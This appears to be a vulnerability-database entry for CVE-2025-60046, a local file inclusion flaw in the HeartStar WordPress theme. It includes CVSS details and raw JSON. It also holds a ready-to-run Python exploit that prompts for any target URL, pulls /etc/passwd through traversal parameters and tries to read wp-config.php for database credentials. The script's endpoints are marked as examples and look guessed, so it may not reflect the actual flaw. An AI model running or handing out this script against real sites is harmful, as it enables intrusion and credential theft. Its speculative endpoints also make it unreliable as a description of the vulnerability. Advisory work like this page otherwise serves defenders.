Security Vulnerability Report
中文
CVE-2025-60046 CVSS 8.1 HIGH

CVE-2025-60046

Published: 2025-12-18 08:16:04
Last Modified: 2026-04-27 16:16:30

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes HeartStar heartstar allows PHP Local File Inclusion.This issue affects HeartStar: from n/a through <= 1.0.14.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:heartstar:*:*:*:*:*:wordpress:*:* - VULNERABLE
HeartStar WordPress主题 <= 1.0.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-60046 PoC - HeartStar Theme Local File Inclusion # Target: WordPress site with HeartStar theme <= 1.0.14 import requests import sys target = input("Enter target URL (e.g., http://target.com): ").strip() # Vulnerable endpoint example (theme-specific file include) vulnerable_paths = [ "/wp-content/themes/heartstar/functions.php?load=/etc/passwd", "/wp-content/themes/heartstar/inc/template-tags.php?file=/etc/passwd", "/wp-content/themes/heartstar/template-parts/footer.php?page=../../../../etc/passwd" ] print(f"[*] Testing CVE-2025-60046 on {target}") for path in vulnerable_paths: url = target + path try: response = requests.get(url, timeout=10) if "root:" in response.text or "bin:" in response.text: print(f"[+] VULNERABLE! Found LFI at: {url}") print(f"[+] File content preview:\n{response.text[:500]}") elif response.status_code == 200 and len(response.text) > 0: print(f"[*] Possible LFI at: {url}") except requests.RequestException as e: print(f"[-] Error testing {url}: {e}") # Read wp-config.php to get database credentials print("\n[*] Attempting to read wp-config.php...") wpconfig_path = "/wp-content/themes/heartstar/functions.php?load=../../../../wp-config.php" url = target + wpconfig_path try: response = requests.get(url, timeout=10) if "DB_NAME" in response.text: print(f"[+] Successfully read wp-config.php!") print(f"[+] Content:\n{response.text[:1000]}") except: print("[-] Failed to read wp-config.php")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60046", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:04.090", "lastModified": "2026-04-27T16:16:29.740", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes HeartStar heartstar allows PHP Local File Inclusion.This issue affects HeartStar: from n/a through <= 1.0.14."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:heartstar:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.0.14", "matchCriteriaId": "F8FAA7D1-3A23-4A3F-9E94-205DCFF33B13"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/heartstar/vulnerability/wordpress-heartstar-theme-1-0-14-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}